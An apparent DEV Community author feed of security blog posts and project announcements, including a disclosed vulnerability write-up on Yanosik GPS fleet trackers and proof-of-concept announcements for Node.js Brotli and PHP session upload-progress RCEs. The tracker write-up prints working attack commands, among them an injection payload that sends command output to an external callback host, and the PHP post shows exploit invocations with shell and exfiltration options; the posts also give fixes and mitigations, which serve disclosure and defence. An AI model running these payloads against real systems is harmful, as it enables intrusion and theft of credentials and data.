DEV Community: syrex1013

I Replaced My Huawei E3372’s 2014 WebUI With a 10.5 KB Dark-Tech SPA

syrex1013 — Fri, 06 Nov 2026 10:55:26 +0000

If you have ever owned a Huawei E3372 HiLink stick, you know the ritual: plug it in, open 192.168.8.1, and get greeted by a UI that feels like it time-traveled from 2014 — because it basically did. Ancient jQuery frames. A “helpful” no-SIM redirect that traps you in a 307 loop. Half the interesting hardware locked behind menus that pretend you are a casual prepaid user, not someone building an SMS gateway or poking at RF.

I got tired of that. So I built a modded firmware toolkit that swaps the stock WebUI partition for a modern, offline, dark-tech SPA — and unlocks the engineering toys the stick already had.

Repo: github.com/syrex1013/huawei-e3372-modded-firmware

Why bother with a USB LTE stick in 2026?

Because the E3372 is still everywhere: IoT benches, travel routers, SMS gateways, lab SIMs, backup LTE. The radio is fine. The Balong V7R2 (Cortex-A5) is doing its job. The weak link is the front door — mini_httpd serving a UI that fights you the moment a SIM is missing or unregistered.

Stock experience in three moods:

No SIM → redirect loop, console gone, settings gone.
Want AT commands → good luck finding a sane path.
Want live RSRP/SINR → refresh-and-pray.

I wanted a cockpit, not a brochure.

What I actually built

This project does two related things:

A modern WebUI — vanilla HTML/CSS/JS SPA that lives in the 0x5B0000 WEBUI partition.
A Python flashing toolkit — repack the CPIO, talk Balong HDLC over USB, flash the partition, relay AT commands.

No React. No CDN fonts. No analytics. The whole gzipped SPA is about 10.5 KB. It respects prefers-color-scheme, so dark or light follows your system.

Feature tour (the fun part)

Cockpit & telemetry

Live RSRP, RSRQ, RSSI, SINR, Cell ID, PCI, and traffic meters — polled from /api/net/signal-para without full page reloads. Watching SINR move while you tilt the stick is weirdly satisfying.

Messaging suite

SMS inbox/outbox, GSM-7 / Unicode part counter, interactive USSD (*100# and friends), SMSC manager. Gateway builders, this is the page you open first.

Cellular & SIM

LTE band mask selector, PLMN scan/register, multi-profile APN editor, PIN lock. Manual band locking without spelunking through carrier-locked menus.

Engineering suite

Direct AT console with history and presets (ATI, AT^VERSION, AT^GODLOAD, AT^HCSQ?), raw NVRAM read/write by ID, USB mode switcher (14dc HiLink / 1566 PCUI / 1442 true DLOAD), plus diagnostics.

Router controls

DHCP pools, port forwards, DMZ, SIP ALG, domain/MAC filters — still there, just not buried under dusty frames.

And the one that sold me on shipping it: zero no-SIM lockout. Boot without a card and you still get AT, router settings, and status. The stick stays a tool, not a prepaid kiosk.

How the making-of felt

Under the hood this is less “magic firmware” and more respectful surgery:

Host: Balong V7R2, Linux 3.4, BusyBox mini_httpd 1.19
Target: CPIO in partition 0x005B0000 (~15.7 MB ceiling)
Tooling: Python 3 + pyusb, custom Balong HDLC framing, SCSI mode switching

The happy path in the README looks roughly like:

repack_webui.py — inject webui_mod/app.html, rebuild the CPIO, patch config.xml so first-run redirects die.
Kick the modem into true download mode (12d1:1442) with AT^GODLOAD.
flash_webui.py — stream ~2,119 × 4 KB blocks over HDLC, soft-reset.
Browse http://192.168.8.1 and smile.

I am not going to paste a brick-risk novel here — the repo has the exact steps, prerequisites (libusb, pyusb), and compatibility notes. Flash carefully; this is real hardware.

Tested on: E3372s-152, E3372s-153, E3372h-153 (with the right partition offset).

Who this is for

IoT folks who need a stick that stays usable without a SIM
People building SMS / USSD automation
Network admins who want band locks and live RF numbers
Hardware researchers who want AT + NVRAM without fighting the UI

If you just want “plug in and browse,” stock is fine. If you want a lab instrument that happens to be an E3372, this is the vibe.

Caveats

Custom firmware flashing can brick a modem if you flash the wrong image or interrupt a write. Read the repo, match your model, and do not do this on the only stick that keeps grandma online.

MIT licensed. Contributions and screenshots of your dark-mode cockpit are welcome.

How I Popped a Fleet of GPS Trackers — 7 Vulnerabilities, One Unauthenticated RCE Chain in Yanosik GTM

syrex1013 — Sun, 25 Oct 2026 23:07:59 +0000

Fleet tracking devices are everywhere. Every logistics company, taxi service, and delivery network runs them — small boxes silently uploading GPS coordinates and telemetry to a cloud backend around the clock. Because they live inside vehicles and are managed centrally, they tend to be trusted implicitly. Nobody scrutinizes the protocol. Nobody checks the endpoints. They're just tracking boxes.

Yanosik is a Polish company best known for its speed camera and traffic alert app. Their GTM device is the hardware leg of their fleet management product — a small Android-based unit that communicates home over a proprietary binary protocol on TCP port 9966. I picked one up and started poking at it.

What I found was worse than I expected: a full unauthenticated path from the open internet to OS command execution on the backend server. The chain runs through three distinct vulnerabilities — an open directory exposing customer data, a broken authorization check that leaks device credentials to anyone who asks, and an OS command injection in the handler that processes those credentials. Seven findings total, ranging from critical to medium severity.

Responsible disclosure: All findings reported to Yanosik on October 21, 2026 before this post. All exploit payloads are benign probes (id, sleep, OOB DNS callbacks). No customer data was retained.

The Device

Model: Yanosik GTM-100
OS: Android 7.1.2
IMEI prefix: 353406080000xxx
Backend: Custom binary protocol over TCP 9966 (protobuf payload, CRC32-framed)
Main process: com.yanosik.gtm (PID 1901)

Finding #1 — HIGH-5: ADB Without Authorization + World-Writable App Data

The first thing I did after plugging it in was run adb devices. No authorization dialog appeared. The device connected immediately:

$ adb devices
List of devices attached
1C141FDH000001    device

$ adb shell id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),...

On any production device, ADB should require the user to physically accept a debug key on the device screen. The GTM ships with that disabled — a development artifact that survived into production firmware.

The world-writable data directory made this worse:

$ ls -la /data/data/ | grep yanosik
drwxrwxrwx  5 u0_a45 u0_a45 4096 com.yanosik.gtm

$ cat /data/data/com.yanosik.gtm/shared_prefs/device_prefs.xml
<map>
  <string name="imei">353406080000001</string>
  <string name="registrationKey">a3f7c2e1b9d04582[REDACTED]</string>
</map>

0777 on the app data directory. Any process on the device — including code reached through the unauthenticated ADB port — can read the IMEI and registrationKey in under 30 seconds.

Impact: Physical access to any vehicle = full credential extraction, no tools beyond a USB cable.

Fix: Set app dir to 0700. Require ADB authorization prompt on production units.

Finding #2 — CRIT-3: Open Directory, 4,817 Customer Records

Before touching the binary protocol, I walked the HTTP surface. Routine directory enumeration:

$ ffuf -u https://[REDACTED]/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403
200   GET  /_/UPLOAD/   (words: 1847)

The UPLOAD directory returned Apache's auto-index, listing thousands of JSON files:

Index of /UPLOAD/
20240918_131042_864_353406080000001.json   2024-09-18  1.4K
20240918_131203_231_353406080000044.json   2024-09-18  1.4K

Each file is a customer registration payload — IMEI, email, vehicle plate, account ID:

{
  "imei":         "353406080000001",
  "ownerEmail":   "jan.k[REDACTED]@[REDACTED].pl",
  "vehiclePlate": "WA 4[REDACTED]",
  "accountId":    "ACC-00184732"
}

$ curl -s https://[REDACTED]/UPLOAD/ | grep -oP '\d{15}(?=\.json)' | sort -u | wc -l
4817

4,817 customer records in one unauthenticated request. The IMEI from each record is the key input for the next two critical findings.

Fix: Disable Apache directory listing (Options -Indexes). Use authenticated, per-device paths.

Finding #3 — HIGH-3: Full Firmware, No Auth — and a Critical Clue Inside

ADB's logcat revealed the OTA update URL pattern:

$ logcat -d | grep -iE "firmware|ota|update"
I GtmUpdater: Checking OTA at https://[REDACTED]/ota/gtm100/3.1.7/update.json
I GtmUpdater: Downloading https://[REDACTED]/ota/gtm100/3.2.1/gtm100_3.2.1.zip

Fetched directly, no credentials — 46MB firmware image, no auth token, no signed URL.

Running strings on the extracted system.img revealed the root cause of CRIT-1 without reversing a single backend binary byte:

LABEL_SHELL_CMD=/usr/bin/gtm-label-sync --device-id %s --label "%s"

The %s for --label is filled directly from the device-controlled protobuf field. The surrounding "..." doesn't prevent "; cmd; # or $(cmd).

Fix: Signed OTA URLs. Verify firmware with hardware-bound keys.

Finding #4 — HIGH-4: Spring Boot Actuator Exposed to Device Network

I used the device as a pivot to scan the backend's internal port surface:

$ /data/local/tmp/gtm_probe enum --host [REDACTED] --ports 10080-10090
10083  OPEN  HTTP  "Whitelabel Error Page"   <- Spring Boot

The /actuator/env endpoint dumped the entire Spring environment with secrets:

$ curl -s http://[REDACTED]:10083/actuator/env | grep -i "password|key|secret"
"spring.datasource.password":  "gtm_db_p@ss[REDACTED]",
"spring.datasource.url":       "jdbc:mysql://db-internal:3306/gtm_fleet",
"aws.secretKey":               "AKIA[REDACTED]",
"aws.accessKey":               "ASIA[REDACTED]"

Fix: management.endpoints.enabled-by-default=false in production. Isolate management ports.

Finding #5 — CRIT-2: IDOR on the Registration Key Endpoint

The GTM binary frame layout:

Offset  Size  Field
0       2     Magic: 0x4754 ("GT")
2       1     Protocol version: 0x03
3       1     Message type (1=REG, 2=PING, 3=REGKEY, 7=LABEL)
4       2     Payload length (big-endian uint16)
6       N     Payload (Protocol Buffer)
6+N     4     CRC32 (big-endian)

MSG type 3 is a "registration key fetch." The server should return your key when you register. The vulnerability: it returns the registrationKey for any IMEI supplied, with no ownership check.

func fetchRegKey(imei string) string {
    payload, _ := proto.Marshal(&Msg3Request{Imei: imei})
    frame := buildFrame(0x03, payload)
    conn, _ := tls.Dial("tcp", "[REDACTED]:9966", firmwareTLSConfig())
    defer conn.Close()
    conn.Write(frame)
    buf := make([]byte, 512)
    n, _ := conn.Read(buf)
    var resp Msg3Response
    proto.Unmarshal(buf[6:n-4], &resp)
    return resp.RegistrationKey
}

$ ./gtm_probe msg3 --imei 353406080000044
registrationKey: a9f2d17bc4e83051[REDACTED]

$ ./gtm_probe msg3 --imei 353406080000187
registrationKey: 7c1e45a02bf69d38[REDACTED]

Anyone with internet access can walk the 4,817 IMEIs from CRIT-3 and harvest every device's credentials.

Fix: Verify device identity in MSG3, not just IMEI. Provision keys at manufacture, remove the MSG3 fetch endpoint.

Finding #6 — CRIT-1: OS Command Injection → Confirmed RCE

The string from the firmware tells the whole story:

LABEL_SHELL_CMD=/usr/bin/gtm-label-sync --device-id %s --label "%s"

The server calls system() or popen() with the sprintf-constructed string. Double-quotes in shell do not prevent:

"; cmd; # — terminates the argument, runs a new command
$(cmd) — subshell expansion still executes inside quotes

The JA3 Bypass

Port 9966 filters TLS connections by JA3 fingerprint. I captured the exact ClientHello from the firmware using strace:

$ strace -e trace=network,write -p 1901 -o /tmp/strace.log &
$ kill -HUP 1901
$ grep "write(83" /tmp/strace.log | head -1
write(83, "\x16\x03\x01\x00\xf1\x01...", 244) = 244
# Parse cipher suites -> feed into Go TLS config -> identical JA3 hash

Time-Based Blind Probe

$ time ./gtm_probe label --imei 353406080000001 --payload 'normal; sleep 5; #'
real    0m5.231s   <- server delayed by exactly 5 seconds

OOB DNS Callback — Confirmed RCE

$ ./gtm_probe label \
    --imei 353406080000001 \
    --payload 'x"; id|base64|tr -d "\n"|xargs -I{} curl -s http://{}.[REDACTED].oastify.com/x; #'

# Burp Collaborator received DNS lookup from 86.252.107.154:
$ echo "dWlkPWd0bXN2YyhnZW5lcmljKSBnaWQ9Z3Rtc3ZjKGdlbmVyaWMp..." | base64 -d
uid=gtmsvc(generic) gid=gtmsvc(generic) groups=gtmsvc(generic)

RCE confirmed on the main production API server as service account gtmsvc.

Fix: Replace system()/popen() with execve() + explicit argv array. The label never touches a shell.

Finding #7 — MED-1: Speed Camera Database, Publicly Available

$ logcat -d | grep cameras
I CameraUpdater: Fetching https://[REDACTED]/db/cameras_v20261026.zip

$ unzip -p cameras.zip cameras.json | python3 -c "import json,sys; d=json.load(sys.stdin); print(len(d['cameras']))"
187433

187,433 speed camera entries downloadable daily, no auth, predictable filename.

The Full Attack Chain — ~4 Minutes, No Prior Access Required

Step 1 — CRIT-3: Harvest all customer IMEIs from /UPLOAD/ directory listing
$ python3 enum_upload.py
[+] 4817 IMEIs found
                    |
                    v
Step 2 — CRIT-2: Fetch registrationKey for any IMEI via unauthenticated MSG3
$ ./gtm_probe msg3 --imei 353406080000044
registrationKey: a9f2d17bc4e83051[REDACTED]
                    |
                    v
Step 3 — CRIT-1: Send MSG7 with OS command injection using stolen credentials
$ ./gtm_probe label --imei 353406080000044 --key a9f2d17bc4e83051[REDACTED] --payload 'x"; id; #'
[OOB] uid=gtmsvc(generic) gid=gtmsvc(generic)

Remediation Summary

ID	Severity	Fix
CRIT-1	Critical	Replace system()/popen() with execve() argv array
CRIT-2	Critical	Add IMEI ownership verification; provision keys at manufacture
CRIT-3	Critical	Disable Apache directory listing; use authenticated paths
HIGH-3	High	Signed OTA URLs; hardware-verified firmware integrity
HIGH-4	High	Disable Actuator in prod; isolate management network
HIGH-5	High	Set app dir to 0700; require ADB authorization
MED-1	Medium	Signed, time-limited download tokens for camera DB

Key Lessons

Device credentials must be secrets, not lookup keys. If a credential can be retrieved by supplying only a public identifier (IMEI), it provides no security.
Never interpolate device input into shell commands. Use execve(). This class of bug has been well-understood for 30 years.
Segment the device network. A GPS tracker reaching Spring Actuator on port 10083 should be impossible by firewall policy, not hope.
Development defaults kill production security. ADB without auth, 0777 app directories, and exposed Actuator endpoints are fine for dev. They're catastrophic in shipped hardware.

Disclosure Timeline

Oct 21, 2026 — Full report sent to Yanosik
Oct 23, 2026 — Acknowledgement received
Oct 26, 2026 — Post published

Adrian · threatvector.tech

Node2Shell: Memory Corruption RCE in Brotli Affecting Node.js

syrex1013 — Sun, 25 Oct 2026 20:43:39 +0000

Node2Shell: Memory Corruption RCE in Brotli Affecting Node.js

I recently published a proof of concept for CVE-2026-111497, which I’ve been calling Node2Shell.

The issue is a memory-corruption vulnerability in brotli 1.2.0 that affects Node.js releases bundling the vulnerable decoder.

The interesting part is that this is not an application-level eval(), execSync(), child-process misuse, or webhook trick.

The vulnerability exists lower in the stack, inside the Brotli decoder itself.

Under the right conditions, corrupted decoder state can eventually redirect execution through a callback path and reach system().

Affected Node.js Versions

According to the affected ranges identified during testing:

Node.js 22.x before 22.23.4
Node.js 24.x before 24.22.1
Node.js 26.x before 26.12.1

The underlying issue originates in the bundled Brotli implementation.

Root Cause

One part of the problem is located around DecodeBlockTypeAndLength().

Under specific decoder state conditions, the function returns:

BROTLI_FALSE

The important detail is that this value is 0.

Elsewhere in the decoder, 0 overlaps with the numeric value used for:

BROTLI_DECODER_SUCCESS

The BROTLI_SAFE handling path interprets that result incorrectly and treats the state as though the decoder simply needs more input.

The decoder then saves its state around:

COMMAND_BEGIN

and re-enters the same path.

This can result in a persistent CPU loop.

At this point, the vulnerability already provides a denial-of-service condition.

But the more interesting behavior appears in another decoder path.

The Out-of-Bounds Write

When the decoder reaches a NEEDS_MORE_INPUT condition while:

buffer_length == 0

a copy-tail operation runs.

Conceptually, the relevant code behaves like this:

s->buffer.u8[s->buffer_length] = *next_in++;
s->buffer_length++;

There is no effective release-build bounds check protecting the write.

A BROTLI_DCHECK exists around some of this logic, but debug assertions do not provide protection in production builds.

That means decoder-controlled state can cause writes beyond the intended small internal buffer.

Why Input Size Matters

One of the key constraints during exploitation is:

BROTLI_FAST_INPUT_SLACK = 28

Input size changes the decoder path significantly.

With sufficiently small chunks, the decoder can be forced into a state where command processing exits early with a "need more input" result.

That feeds execution back into the vulnerable copy-tail logic.

With larger chunks, the decoder is more likely to fall into the CPU-spin behavior instead.

In practice, this means the malformed input must be delivered in carefully sized fragments rather than as one large buffer.

This distinction turned out to be critical while reproducing the issue.

Corrupting Decoder State

Once the out-of-bounds write is reachable, the next question is what sits next to the internal buffer.

The decoder state contains additional fields immediately after it.

By extending the corruption far enough, an attacker can begin modifying adjacent decoder state, including pointer-sized values and callback-related data.

One particularly interesting target is the metadata callback state.

Conceptually, the exploitation chain becomes:

crafted Brotli stream
        ↓
decoder state confusion
        ↓
NEEDS_MORE_INPUT path
        ↓
out-of-bounds state corruption
        ↓
callback state overwritten
        ↓
controlled callback invocation
        ↓
code execution

During testing, the callback path could be redirected so that execution reached system() with attacker-controlled callback data.

This produces native process execution without relying on JavaScript execution primitives.

Why This Is Interesting

Most Node.js RCE demonstrations eventually reduce to something like:

require("child_process").exec(...)

or:

eval(...)

Node2Shell is different.

The execution path exists below the JavaScript layer.

The application gives compressed data to the runtime.

The runtime passes it to Brotli.

The decoder corrupts its own native state.

Native control flow is then redirected.

That makes the bug much closer to a traditional native memory-corruption vulnerability than a typical Node.js application bug.

Proof of Concept

I published the proof of concept here:

github.com/syrex1013/CVE-2026-111497-node2shell

The PoC demonstrates the decoder behavior and the vulnerability chain used during the research.

A successful test produced native command execution from the affected process.

Simplified Vulnerability Chain

The overall chain can be summarized as:

Trigger the problematic Brotli decoder state.
Force the decoder into the NEEDS_MORE_INPUT path.
Deliver input in small fragments.
Reach the vulnerable copy-tail logic.
Corrupt adjacent Brotli decoder state.
Modify callback-related state.
Trigger the metadata callback.
Redirect native execution.

The two observable outcomes are therefore closely related:

malformed stream
     │
     ├── larger input/state path → infinite decoder loop → DoS
     │
     └── chunked input path → memory corruption → native code execution

Defensive Takeaways

If you operate Node.js services that consume Brotli-compressed input, updating the runtime should be treated as the primary mitigation.

Additional defensive measures include:

upgrading Node.js to a patched release;
limiting exposure of Brotli decompression endpoints;
enforcing request and decompression limits;
isolating Node.js workloads with containers or sandboxing;
running services without unnecessary privileges;
monitoring for abnormal CPU saturation during decompression;
monitoring crashes or memory-corruption indicators around Brotli processing.

Memory-safety issues in compression libraries are especially important because decompression often happens before application-level validation.

Final Thoughts

Node2Shell is a useful example of why a memory-unsafe dependency deep inside a modern runtime can become security-critical even when the surrounding application code is completely ordinary.

The vulnerability does not require an obvious JavaScript execution sink.

Instead, the interesting behavior comes from a combination of:

incorrect decoder-state handling;
ambiguous return-value semantics;
release-build assumptions;
an out-of-bounds write;
adjacent callback state;
and precise control over streaming input.

That combination turns what initially looks like a decoder hang into a much more serious native memory-corruption problem.

PoC:

github.com/syrex1013/CVE-2026-111497-node2shell

For security research and authorized testing only.

nodejs #security #cybersecurity #cve

PHP2Shell: Turning a Session Upload-Progress UAF into Unauthenticated RCE (CVE-2026-109618 / CVE-2026-109619)

syrex1013 — Wed, 21 Oct 2026 15:18:18 +0000

I published PHP2Shell, a proof-of-concept for two critical PHP vulnerabilities — CVE-2026-109618 and CVE-2026-109619 — that enable a heap use-after-free in session.upload_progress and, with the right chain, unauthenticated remote code execution.

For security research and authorized testing only.

Repo: github.com/syrex1013/php2shell

Why this matters

PHP’s multipart upload-progress feature (session.upload_progress) is enabled by default in many deployments. The bugs sit in ext/session/session.c and carry a CVSS 9.2 rating. They affect a long range of versions:

Branch	Vulnerable through	Fixed in
PHP 8.2	8.2.34	8.2.35
PHP 8.3	8.3.35	8.3.36
PHP 8.4	8.4.26	8.4.27
PHP 8.5	8.5.11	8.5.12
PHP ≤ 8.1	all	no backport — EOL

If you still run anything at or below those “vulnerable through” lines — especially EOL 8.1 and older — you should treat this as urgent.

Background: the two CVEs

Both issues are heap use-after-free bugs in the rfc1867 upload-progress handler.

The handler caches raw zval* pointers into the session HashTable (arData). When a multipart upload stalls longer than session.upload_progress.min_freq (default 1 second), a later FILE_DATA event re-enters session init and frees that HashTable. The cached pointers then point at freed memory. The next write (storing bytes_processed via ZVAL_LONG) goes through those stale pointers.

CVE	Stale pointer
CVE-2026-109618	`post_bytes_processed` (session.c ~3292)
CVE-2026-109619	`current_file_bytes_processed` (session.c ~3318)

Simplified flow from the research:

Phase 1 — POST multipart with PHP_SESSION_UPLOAD_PROGRESS → rfc1867 callback caches zval* into arData.
Stall — wait longer than min_freq → php_session_initialize() / php_session_track_init() frees the HashTable.
Phase 2 — send another FILE_DATA chunk on the same connection → ZVAL_LONG writes through the stale pointer (UAF write).

The vendor fix removes the long-lived zval* cache and re-derives the target pointer on each write instead of keeping it across the stall window. Credit for the original research goes to Ahmed Sultan (0x4148) — see also jackalsyn.com/posts/php-up-2026.html. The PHP patch was committed around September 2026 (bugs.php.net).

What’s in the PHP2Shell repo

I packaged the research so others can reproduce and harden against it safely:

Component	Purpose
`poc.py`	Full RCE exploit chain with multiple fallback paths
`lab-uaf/`	Docker lab that reproduces the UAF primitive on PHP 8.4.4-FPM
`lab/`	Apache-based lab for the session-poison + LFI RCE chain

UAF lab (primitive)

lab-uaf reproduces the stale-pointer write on stock PHP-FPM (no ASAN, no debug build). Typical flow:

git clone https://github.com/syrex1013/php2shell
cd php2shell/lab-uaf
docker compose up -d --build
python3 scripts/php2shell_poc.py --monitor --rounds 5

Successful arming looks like: session status 200, bytes_processed updated, and confirmation that cached zval* pointers were written through (stale path reached).

There is also a heap spray mode (--spray N) that prepends dummy file parts sized to exhaust the ZendMM 256-byte bin (matching an 8-entry session HashTable arData), raising the odds that the stale write hits a live allocation rather than a quietly reallocated table.

RCE chain (`poc.py`)

Against a vulnerable PHP web app, poc.py tries several stages ordered by reliability:

Session poison + LFI — needs something like include($_GET[...])
Log poisoning + LFI — needs a readable access log via LFI
FastCGI direct (no LFI) — php-fpm reachable on common ports (e.g. 9000–9003)
PEAR webshell drop — when /usr/share/php/pearcmd.php is accessible

Example against the Apache lab:

cd lab
docker compose up -d --build
python3 ../poc.py http://localhost:8888/index.php "id" \
    --lfi-param page \
    --chunk-delay 0.01 \
    --chunk-size 128

On success you should see RCE confirmed via session+LFI and command output from the web user (e.g. www-data). The tool also supports interactive shell (-i), probe-only mode, and blind callback exfiltration when you cannot read output on-target.

I’m keeping this post at the architecture level. Full options and labs live in the repo README.

Mitigation

Immediate (no patch required):

; php.ini
session.upload_progress.enabled = Off

Proper fix: upgrade PHP to the fixed release for your branch — 8.2.35+, 8.3.36+, 8.4.27+, or 8.5.12+. EOL branches (≤ 8.1) will not get a backport; plan a version jump.

Also review apps for LFI, exposed php-fpm, and PEAR endpoints — those turn a memory bug into reliable RCE in the PoC chains above.

Responsible use

This work is for security research and authorized testing only.

Do not run PHP2Shell (or any of these chains) against systems you do not own or do not have explicit written permission to test. Unauthorized use is illegal. The MIT-licensed code in the repo is intended for authorized testing, research, and education; operators remain responsible for how they use it.

If you find related issues in production, disclose them through your vendor’s process and patch first.

Closing

Session upload progress is an easy feature to leave on and forget. These CVEs show how a stall-window UAF in that path becomes a serious RCE story once you combine it with common app or deployment mistakes.

Patch, or turn session.upload_progress.enabled off until you can. If you want to reproduce the primitive or the chains in a lab you control, start here: github.com/syrex1013/php2shell.

Questions, lab feedback, or hardening notes — open an issue on the repo or find me as syrex1013 on GitHub.

— Adrian

Promotion valid till September 15 - Confirmed with the owner!

syrex1013 — Mon, 07 Sep 2026 21:32:47 +0000

syrex1013

Sep 7

How to Try GLM-5.3, DeepSeek V4 Flash, and Claude Opus 4.8 with $200 in AgentRouter Credits

#ai #programming #productivity #api

3 min read

How to Try GLM-5.3, DeepSeek V4 Flash, and Claude Opus 4.8 with $200 in AgentRouter Credits

syrex1013 — Mon, 07 Sep 2026 12:19:49 +0000

If you want to test expensive coding models without immediately paying for API usage, AgentRouter currently offers $200 in free credits after registration.

The interesting part is that you can use it with existing coding harnesses instead of switching to a completely new workflow.

*Models available include:
*

GLM-5.3
DeepSeek V4 Flash
Claude Opus 4.8
Other models exposed through AgentRouter
Registration

*You can register here:
*
AgentRouter.org Registration
Important: log in with an active GitHub account during registration to qualify for the bonus.

Disclosure: the registration URL above is a referral link.

Official setup documentation:

Docs

The setup is basically the same pattern as most OpenAI-compatible API providers: get your credentials, configure the API endpoint, select the model, and point your coding harness at AgentRouter.

*What Can You Use It With?
*
AgentRouter can be used with multiple coding-agent harnesses, including:

Claude Code
Codex
OMP
Pi
DeepSeek Harness
Other tools that support compatible API providers

For me, Claude Code has been the easiest setup so far.

Once the endpoint and credentials are configured, you can keep using your normal coding workflow while switching between different backend models.

*Why This Is Useful
*
Running models like Claude Opus regularly through API billing can become expensive very quickly, especially for agentic coding workloads.

Coding agents tend to generate a lot more tokens than normal chat usage because they repeatedly:

inspect files,
reason about changes,
call tools,
read tool output,
modify code,
run tests,
repeat the loop.

That makes free API credits particularly useful for testing.

Instead of subscribing to another service immediately, you can use the credits to compare models on your actual repositories.

*What I Would Test
*
If you are experimenting with coding agents, I would compare the models using the same task.

For example:

Analyze this repository.

Find the root cause of the failing tests.
Implement the smallest correct fix.
Run the relevant tests.
Explain what changed.

Then compare:

task completion rate
coding quality
tool-call reliability
reasoning speed
token usage
context handling
how often the agent gets stuck
how well it follows repository conventions

This gives you a much better comparison than asking each model generic benchmark questions.

*Suggested Workflow
*
A simple testing workflow could be:

Claude Code
|
v
AgentRouter
|
+-- GLM-5.3
|
+-- DeepSeek V4 Flash
|
+-- Claude Opus 4.8

Keep the harness and task identical, and only change the model.

That makes it easier to see whether differences come from the model itself rather than from different agent frameworks.

*When It Makes Sense
*
AgentRouter is probably most useful if you:

use coding agents heavily
want to compare several frontier models
want temporary access to expensive models
don't want to immediately commit to direct API spending
are experimenting with different coding harnesses
need an OpenAI-compatible model endpoint

If you already have enough API credits elsewhere, there may not be much reason to switch.

But for testing several models on real coding workloads, $200 in credits gives you a decent amount of room to experiment.

Registration:

AgentRouter.org

Documentation:
Docs

Again, make sure you register using an active GitHub account if you want to receive the promotional credits.

This is a submission for the "GitHub Finish-Up-A-Thon

syrex1013 — Wed, 03 Jun 2026 00:37:53 +0000

This is a submission for the "GitHub Finish-Up-A-Thon Challenge" (https://dev.to/challenges/github-2026-05-21)

What I Built

I built ProCurveUI, a modern desktop application that brings legacy HP ProCurve switches into the present.

The project started from a simple frustration: managing older ProCurve hardware often means dealing with serial cables, outdated TLS implementations, browser-incompatible web interfaces, and CLI workflows that haven't changed in over a decade. While the hardware itself remains reliable and popular in homelabs, the management experience has become increasingly painful.

ProCurveUI provides a clean graphical interface for interacting with these switches without relying on obsolete browser technologies or legacy management tools. The goal was to extend the useful life of excellent networking hardware by making it easier to configure and manage from modern systems.

As someone who spends a lot of time building security and infrastructure tooling, I enjoy creating software that removes unnecessary friction from everyday workflows. ProCurveUI is exactly that: a quality-of-life tool for homelab enthusiasts, network engineers, and anyone still running older HP ProCurve gear.

Repository: https://github.com/syrex1013/ProCurveUI

Demo

GitHub Repository

https://github.com/syrex1013/ProCurveUI

Screenshots

Include screenshots showing:

Device connection screen
Switch overview dashboard
Configuration management interface
Port management view
VLAN or network configuration features
Dark mode interface (if available)

Video Walkthrough

A short demo showing:

Connecting to a ProCurve switch
Viewing switch information
Managing ports and settings
Applying configuration changes
Monitoring switch status

The Comeback Story

This project sat in the "almost finished" category for longer than I wanted.

The initial version proved that the concept worked, but there were still rough edges, missing functionality, UI inconsistencies, and documentation gaps that prevented it from feeling complete. Like many side projects, it reached the stage where it was useful to me personally but not yet polished enough for wider adoption.

For Finish-Up-A-Thon, I focused on turning a prototype into a project that others could actually use:

Improved overall application stability
Refined the user interface and workflow
Fixed lingering bugs and connection issues
Cleaned up project structure and code organization
Improved documentation and usability
Performed testing against real ProCurve hardware
Prepared the repository for community contributions

The biggest win wasn't adding a flashy feature—it was taking the time to finish the details that make open-source projects approachable and maintainable.

Today, ProCurveUI is something I can confidently share with the homelab and networking community.

My Experience with GitHub Copilot

GitHub Copilot was especially useful during the polishing phase of the project.

While building new features is often the exciting part, finishing a project involves a huge amount of repetitive work: refactoring code, improving error handling, writing boilerplate, cleaning up UI components, and documenting functionality.

Copilot helped accelerate that process by:

Generating repetitive UI code
Assisting with refactoring and cleanup
Suggesting edge-case handling
Speeding up debugging sessions
Helping write documentation and comments
Reducing context-switching when working across different parts of the codebase

Instead of spending time writing the same patterns repeatedly, I could focus on improving the user experience and finishing the project.

For a challenge centered around completing unfinished work, that productivity boost was incredibly valuable.

Closing Thoughts

Older networking hardware still has plenty of life left in it. The challenge is usually software, not hardware.

ProCurveUI is my attempt to modernize the management experience for legacy HP ProCurve switches and make them easier to use in modern homelabs and lab environments.

If you have old ProCurve equipment sitting in a rack somewhere, I'd love to hear your feedback, bug reports, and feature ideas.

⭐ GitHub: https://github.com/syrex1013/ProCurveUI

I’m live on GitHub Sponsors — and I’d love your support 🙌

syrex1013 — Thu, 13 Nov 2025 23:46:25 +0000

Hi! I’m Adrian Dacka — OSCP-certified security engineer, developer, and open-source creator.
I spend most of my time building security tools, researching real-world attack techniques, and sharing what I learn with the community.

I’ve just launched my GitHub Sponsors profile!
If my work has helped you, or if you want to support more open-source security projects, you can sponsor me here:

👉 https://github.com/sponsors/syrex1013

DEV Community: syrex1013

I Replaced My Huawei E3372’s 2014 WebUI With a 10.5 KB Dark-Tech SPA

Why bother with a USB LTE stick in 2026?

What I actually built

Feature tour (the fun part)

How the making-of felt

Who this is for

Caveats

Links

How I Popped a Fleet of GPS Trackers — 7 Vulnerabilities, One Unauthenticated RCE Chain in Yanosik GTM

The Device

Finding #1 — HIGH-5: ADB Without Authorization + World-Writable App Data

Finding #2 — CRIT-3: Open Directory, 4,817 Customer Records

Finding #3 — HIGH-3: Full Firmware, No Auth — and a Critical Clue Inside

Finding #4 — HIGH-4: Spring Boot Actuator Exposed to Device Network

Finding #5 — CRIT-2: IDOR on the Registration Key Endpoint

Finding #6 — CRIT-1: OS Command Injection → Confirmed RCE

The JA3 Bypass

Time-Based Blind Probe

OOB DNS Callback — Confirmed RCE

Finding #7 — MED-1: Speed Camera Database, Publicly Available

The Full Attack Chain — ~4 Minutes, No Prior Access Required

Remediation Summary

Key Lessons

Disclosure Timeline

Node2Shell: Memory Corruption RCE in Brotli Affecting Node.js

Node2Shell: Memory Corruption RCE in Brotli Affecting Node.js

Affected Node.js Versions

Root Cause

The Out-of-Bounds Write

Why Input Size Matters

Corrupting Decoder State

Why This Is Interesting

Proof of Concept

Simplified Vulnerability Chain

Defensive Takeaways

Final Thoughts

nodejs #security #cybersecurity #cve

PHP2Shell: Turning a Session Upload-Progress UAF into Unauthenticated RCE (CVE-2026-109618 / CVE-2026-109619)

Why this matters

Background: the two CVEs

What’s in the PHP2Shell repo

UAF lab (primitive)

RCE chain (poc.py)

Mitigation

Responsible use

Links

Closing

Promotion valid till September 15 - Confirmed with the owner!

How to Try GLM-5.3, DeepSeek V4 Flash, and Claude Opus 4.8 with $200 in AgentRouter Credits

